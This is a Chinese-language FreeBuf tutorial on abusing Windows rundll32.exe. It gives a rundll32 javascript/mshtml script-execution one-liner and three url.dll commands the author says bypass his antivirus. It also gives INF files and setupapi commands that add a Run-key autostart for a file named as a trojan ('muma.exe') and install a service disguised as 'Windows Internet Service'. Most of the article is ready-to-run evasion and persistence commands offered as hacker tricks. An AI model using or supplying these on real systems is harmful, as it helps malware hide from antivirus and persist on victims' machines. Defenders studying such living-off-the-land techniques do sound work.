當前位置:
首頁 > 新聞 > 命令行下的「蒙面歌王」rundll32.exe

命令行下的「蒙面歌王」rundll32.exe

*本文原創作者:lcx,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載


**


在Windows系統中,為了節省內存和實現代碼重用,微軟在Windows操作系統中實現了一種共享函數庫的方式。這就是DLL(Dynamic Link Library)文件,即動態鏈接庫,這種庫包含了可由多個程序同時使用的代碼和數據。Rundll.exe 和 Rundll32.exe 的命令行實用程序,通過這兩個程序可調用從16位或32位DLL導出的函數。現在Rundll.exe 基本被淘汰,rundll32.exe格式為:RUNDLL32.EXE , 。這本來是微軟的一個正常的命令,但是在黑客手裡會發生巨大的作用,有些命令不為外人所知,堪稱命令行下的蒙面歌王,我為大家來揭面一下,讓大家知道它的不為人知的幾個功能。


一、用C++如何寫一個簡單的被Rundll32.exe調用的dll


我用Visual studio 2017寫了一個簡單的代碼,內容如下:

// Dll3.cpp: 定義 DLL 應用程序的導出函數。
//

#include "stdafx.h"
#include <atlstr.h>

extern "C" __declspec(dllexport)
void F2(
   HWND hwnd,        // handle to owner window  
   HINSTANCE hinst,  // instance handle for the DLL  
   LPTSTR lpCmdLine, // string the DLL will parse  
   int nCmdShow      // show state  
)
{
   if (strlen(lpCmdLine) != 0)
   {
       CString num;
       num = lpCmdLine;
       MessageBox(0, "Message body", num ,MB_OK);
   }
   else
   {
       MessageBox(0, "Message body", "Message title", MB_OK);

   }
}

全部工程文件我已經傳到了https://haiyangtop.cn/dll3.rar。我們在命令行下運行rundll32 dll3.dll ,F2 888,那麼就會彈出標題為888的對話框。全部工程文件我已經傳到了https://haiyangtop.cn/dll3.rar。我們在命令行下運行rundll32 dll3.dll ,F2 888,那麼就會彈出標題為888的對話框。


二、用Rundll32.exe運行js或vbs的腳本代碼

rundll32 javascript:"..mshtml,RunHTMLApplication ";window.execScript("msgbox("a")","vbs");window.close()


動畫里這條命令爛大街了,已經繞不過我本機的火絨了。


三、用Rundll32.exe執行命令繞過殺毒軟體的作法


命令如下:

rundll32 url.dll, OpenURL file://c:windowssystem32calc.exerundll32 url.dll, OpenURLA file://c:windowssystem32calc.exerundll32 url.dll, FileProtocolHandler calc.exe

這是經過反彙編分析url.dll得出的結果,請記住這3條命令,活學活用,這是乾貨。上邊的三條命令都可以繞開我本機的火絨。你可以多分析system32下的dll,說不定你還有驚喜。


四、用Rundll32.exe修改註冊表


寫一個c:/reg.inf文件,增加註冊表啟動項,代碼如下:

[Version]Signature="$WINDOWS NT$"[DefaultInstall]AddReg=My_AddReg_NameDelReg=My_DelReg_Name[My_AddReg_Name]HKLM,SOFTWAREMicrosoftWindowsCurrentVersionRun,KAVRun,0x00000000,c:/muma.exe

然後我們運行

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:/reg.inf

就可以增加一個鍵為KAVRun,值為c:/muma.exe的註冊表項了。



刪掉剛才加的註冊表啟動項,c:
eg.inf內容如下:

[Version]Signature="$WINDOWS NT$"[DefaultInstall]AddReg=My_AddReg_NameDelReg=My_DelReg_Name[My_DelReg_Name]HKLM,SOFTWAREMicrosoftWindowsCurrentVersionRun,KAVRun

運行以下命令

就可以刪掉了

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:/reg.inf

幾點說明:





  1. [Version]和[DefaultInstall]是必須的,AddReg和DelReg至少要有一個。My_AddReg_Name和My_DelReg_Name可以自定義。




  1. 0x00010001表示REG_DWORD數據類型,0x00000000或省略該項(保留逗號)表示REG_SZ(字元串)。0x00020000表示REG_EXPAND_SZ。關於inf文件的詳細信息,可以參考DDK幫助文檔。




  1. InstallHinfSection是大小寫敏感的。它和setupapi之間只有一個逗號,沒有空格。128表示給定路徑,該參數其他取值及含義參見MSDN。特別注意,最後一個參數,必須是inf文件的全路徑,不要用相對路徑。




  1. inf文件中的項目都是大小寫不敏感的。


五、使用rundll32.exe 增加一個服務


寫一個srv.inf,內容如下:

[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
AddService=inetsvr,,My_AddService_Name
[My_AddService_Name]
DisplayName=Windows Internet Service
Description=提供對 Internet 信息服務管理的支持。
ServiceType=0x10
StartType=2
ErrorControl=0
ServiceBinary=%11%muma.exe

然後執行命令,會增加一個名字為inetsvr的服務。

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:/srv.inf

幾點說明:





  1. ServiceType表示服務類型:0x10為獨立進程服務,0x20為共享進程服務(比如svchost);




  1. StartType表示啟動類型:0 系統引導時載入,1 OS初始化時載入,2 由SCM(服務控制管理器)自動啟動,3 手動啟動,4 禁用。




  1. ErrorControl表示錯誤控制:0 忽略,1 繼續並警告,2 切換到LastKnownGood的設置,3 藍屏。




  1. ServiceBinary里的服務程序位置:%11%表示system32目錄,%10%表示系統目錄(WINNT或Windows),%12%為驅動目錄system32drivers。其他取值參見DDK。你也可以不用變數,直接使用全路徑。




  1. 這四項是必須要有的。


刪除剛才增加的服務,寫一個dsrv.inf,內容如下:

[Version]        Signature="$WINDOWS NT$"[DefaultInstall.Services]DelService=inetsvr

執行完以下命令

就會刪掉了

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:/dsrv.inf

INF的具體參數是請查看DDK相關資料。


六、網上老生常談的rundll32的幾十個常用快捷命令了,可能有些人並不清楚


命令列: rundll32.exe shell32.dll,Control_RunDLL


功能: 顯示控制面板


命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,1


功能: 顯示「控制面板-輔助選項-鍵盤」選項視窗


命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,2


功能: 顯示「控制面板-輔助選項-聲音」選項視窗


……

還有太多太多,我如果寫在文章里就全是水份了,具體其它命令請參閱:老生常談的一些命令


另:本文中的修改註冊表和增刪服務參考了zzzevazzz的《Do All in Cmd Shell (一切盡在命令行)》部分內容,表示感謝。


*本文原創作者:lcx,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

一加海外官網疑遭入侵,用戶支付信息泄漏導致信用卡欺詐
Linux SSH密碼暴力破解技術及攻防實戰

TAG:FreeBuf |